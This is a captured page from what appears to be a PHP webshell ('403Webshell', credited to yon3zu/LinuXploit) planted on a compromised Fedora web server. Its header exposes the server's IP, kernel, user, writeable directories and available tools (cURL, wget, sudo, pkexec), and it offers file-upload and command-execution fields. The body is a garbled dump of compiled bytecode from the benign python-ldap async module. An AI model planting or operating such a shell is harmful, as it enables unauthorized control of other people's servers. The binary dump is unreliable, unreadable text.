403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python2.6/site-packages/ldap/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python2.6/site-packages/ldap/async.pyo
Ñò
•òÔGc@sdZddkZdZhdei6dei6dei6Zhdei6dei6Zde	fd„ƒYZ
ddd„ƒYZdefd	„ƒYZd
efd„ƒYZ
de
fd
„ƒYZdefd„ƒYZdefd„ƒYZdefd„ƒYZdS(sê
ldap.async - handle async LDAP operations

See http://python-ldap.sourceforge.net for details.

\$Id: async.py,v 1.26 2008/03/10 08:34:29 stroeder Exp $

Python compability note:
Tested on Python 2.0+ but should run on Python 1.5.x.
iÿÿÿÿNs0.1.0tWrongResultTypecBseZd„Zd„ZRS(cCs#||_||_ti|ƒdS(N(treceivedResultTypetexpectedResultTypest	Exceptiont__init__(tselfRR((s./usr/lib/python2.6/site-packages/ldap/async.pyRs		cCsd|idi|iƒfS(Ns3Received wrong result type %s (expected one of %s).s, (RtjoinR(R((s./usr/lib/python2.6/site-packages/ldap/async.pyt__str__$s(t__name__t
__module__RR(((s./usr/lib/python2.6/site-packages/ldap/async.pyRs	tAsyncSearchHandlercBs_eZdZd„Zd	dddd	d	d„Zd„Zd„Zdddd„Zd„Z	RS(
s6
  Class for stream-processsing LDAP search results
  cCs||_d|_dS(sa
    Initialize a StreamResultHandler
    
    Parameters:
    l
        LDAPObject instance
    N(t_ltNonet_msgId(Rtl((s./usr/lib/python2.6/site-packages/ldap/async.pyR0s	iiÿÿÿÿc


Cs1|ii|||||||	||ƒ	|_dS(s¥
    searchRoot
        See parameter base of method LDAPObject.search()
    searchScope
        See parameter scope of method LDAPObject.search()
    filterStr
        See parameter filter of method LDAPObject.search()
    attrList=None
        See parameter attrlist of method LDAPObject.search()
    attrsOnly
        See parameter attrsonly of method LDAPObject.search()
    timeout
        Maximum time the server shall use for search operation
    sizelimit
        Maximum number of entries a server should return
        (request client-side limit)
    serverctrls
        list of server-side LDAP controls
    clientctrls
        list of client-side LDAP controls
    N(Rt
search_extR
(
Rt
searchRoottsearchScopet	filterStrtattrListt	attrsOnlyttimeoutt	sizelimittserverctrlstclientctrls((s./usr/lib/python2.6/site-packages/ldap/async.pytstartSearch;s!		cCsdS(sd
    Do anything you want after starting search but
    before receiving and processing results
    N((R((s./usr/lib/python2.6/site-packages/ldap/async.pyt
preProcessingbscCsdS(sE
    Do anything you want after receiving and processing results
    N((R((s./usr/lib/python2.6/site-packages/ldap/async.pytpostProcessinghsc
Csœ|iƒd}||}d}d}d|_||_z$d\}}	x|o	xA|djo3|	o+|ii|id|ƒ\}}	}
}qTW|	pPnti|ƒpt	|ti
ƒƒ‚nxt|	D]l}||jo|id|_n<|djp
||jo|i||ƒnd}d}P|d}qÑWd\}}	||_qJWWd|o'|idjo|ii|iƒnX|i
ƒ|S(s1
    ignoreResultsNumber
        Don't process the first ignoreResultsNumber results.
    processResultsCount
        If non-zero this parameters indicates the number of results
        processed is limited to processResultsCount.
    timeout
        See parameter timeout of ldap.LDAPObject.result()
    iiN(NN(NN(RtbeginResultsDroppedtendResultBreakRRtresult3R
t_searchResultTypesthas_keyRtkeyst_processSingleResulttabandonR(
RtignoreResultsNumbertprocessResultsCountRtresult_countertend_result_countertgo_aheadtpartialtresult_typetresult_listtresult_msgidtresult_serverctrlstresult_item((s./usr/lib/python2.6/site-packages/ldap/async.pytprocessResultsmsD


		,

cCsdS(sv
    Process single entry

    resultType
        result type
    resultItem
        Single item of a result list
    N((Rt
resultTypet
resultItem((s./usr/lib/python2.6/site-packages/ldap/async.pyR"šs	N(
RR	t__doc__RRRRRR/R"(((s./usr/lib/python2.6/site-packages/ldap/async.pyR
+s			-tListcBs eZdZd„Zd„ZRS(s¾
  Class for collecting all search results.
  
  This does not seem to make sense in the first place but think
  of retrieving exactly a certain portion of the available search
  results.
  cCsti||ƒg|_dS(N(R
Rt
allResults(RR((s./usr/lib/python2.6/site-packages/ldap/async.pyR¯scCs|ii||fƒdS(N(R4tappend(RR0R1((s./usr/lib/python2.6/site-packages/ldap/async.pyR"³s(RR	R2RR"(((s./usr/lib/python2.6/site-packages/ldap/async.pyR3¦s	tDictcBs eZdZd„Zd„ZRS(sJ
  Class for collecting all search results into a dictionary {dn:entry}
  cCsti||ƒh|_dS(N(R
Rt
allEntries(RR((s./usr/lib/python2.6/site-packages/ldap/async.pyR¼scCs1ti|ƒo|\}}||i|<ndS(N(t_entryResultTypesR R7(RR0R1tdntentry((s./usr/lib/python2.6/site-packages/ldap/async.pyR"Às(RR	R2RR"(((s./usr/lib/python2.6/site-packages/ldap/async.pyR6·s	tIndexedDictcBs#eZdZdd„Zd„ZRS(s„
  Class for collecting all search results into a dictionary {dn:entry}
  and maintain case-sensitive equality indexes to entries
  cCs?ti||ƒ|ptƒ|_hi|ihƒ|_dS(N(R6Rttuplet
indexed_attrstfromkeystindex(RRR=((s./usr/lib/python2.6/site-packages/ldap/async.pyRÍscCs´ti|ƒo |\}}||i|<x„|iD]u}|i|ƒo_x\||D]L}y|i||i|ƒWqTtj
o|g|i||<qTXqTWq3q3WndS(N(R8R R7R=R?R5tKeyError(RR0R1R9R:tatv((s./usr/lib/python2.6/site-packages/ldap/async.pyR"Òs

N(RR	R2RRR"(((s./usr/lib/python2.6/site-packages/ldap/async.pyR;Çst
FileWritercBs/eZdZddd„Zd„Zd„ZRS(sH
  Class for writing a stream of LDAP search results to a file object
  tcCs/ti||ƒ||_||_||_dS(s¦
    Initialize a StreamResultHandler
    
    Parameters:
    l
        LDAPObject instance
    f
        File object instance where the LDIF data is written to
    N(R
Rt_ft	headerStrt	footerStr(RRtfRFRG((s./usr/lib/python2.6/site-packages/ldap/async.pyRås
		cCs|ii|iƒdS(ss
    The headerStr is written to output after starting search but
    before receiving and processing results.
    N(REtwriteRF(R((s./usr/lib/python2.6/site-packages/ldap/async.pyRôscCs|ii|iƒdS(sX
    The footerStr is written to output after receiving and
    processing results.
    N(RERIRG(R((s./usr/lib/python2.6/site-packages/ldap/async.pyRûs(RR	R2RRR(((s./usr/lib/python2.6/site-packages/ldap/async.pyRCàs	t
LDIFWritercBs&eZdZddd„Zd„ZRS(sC
  Class for writing a stream LDAP search results to a LDIF file
  RDcCsaddk}t||iƒo
||_n|i|ƒ|_ti|||ii||ƒdS(sÈ
    Initialize a StreamResultHandler
    
    Parameters:
    l
        LDAPObject instance
    writer_obj
        Either a file-like object or a ldif.LDIFWriter instance
        used for output
    iÿÿÿÿN(tldift
isinstanceRJt_ldif_writerRCRt_output_file(RRt
writer_objRFRGRK((s./usr/lib/python2.6/site-packages/ldap/async.pyRs

cCs7ti|ƒo#|\}}|ii||ƒndS(N(R8R RMtunparse(RR0R1R9R:((s./usr/lib/python2.6/site-packages/ldap/async.pyR"s(RR	R2RR"(((s./usr/lib/python2.6/site-packages/ldap/async.pyRJst
DSMLWritercBs&eZdZddd„Zd„ZRS(sC
  Class for writing a stream LDAP search results to a DSML file
  RDcCsaddk}t||iƒo
||_n|i|ƒ|_ti|||ii||ƒdS(sÄ
    Initialize a StreamResultHandler

    Parameters:
    l
        LDAPObject instance
    writer_obj
        Either a file-like object or a ldif.DSMLWriter instance
        used for output
    iÿÿÿÿN(tdsmlRLRQt_dsml_writerRCRRN(RRRORFRGRR((s./usr/lib/python2.6/site-packages/ldap/async.pyR%s

cCs7ti|ƒo#|\}}|ii||ƒndS(N(R8R RSRP(RR0R1R9R:((s./usr/lib/python2.6/site-packages/ldap/async.pyR"7s(RR	R2RR"(((s./usr/lib/python2.6/site-packages/ldap/async.pyRQ s((R2tldapt__version__RtRES_SEARCH_ENTRYtRES_SEARCH_RESULTtRES_SEARCH_REFERENCERR8RRR
R3R6R;RCRJRQ(((s./usr/lib/python2.6/site-packages/ldap/async.pyt<module>
s"




{#

Youez - 2016 - github.com/yon3zu
LinuXploit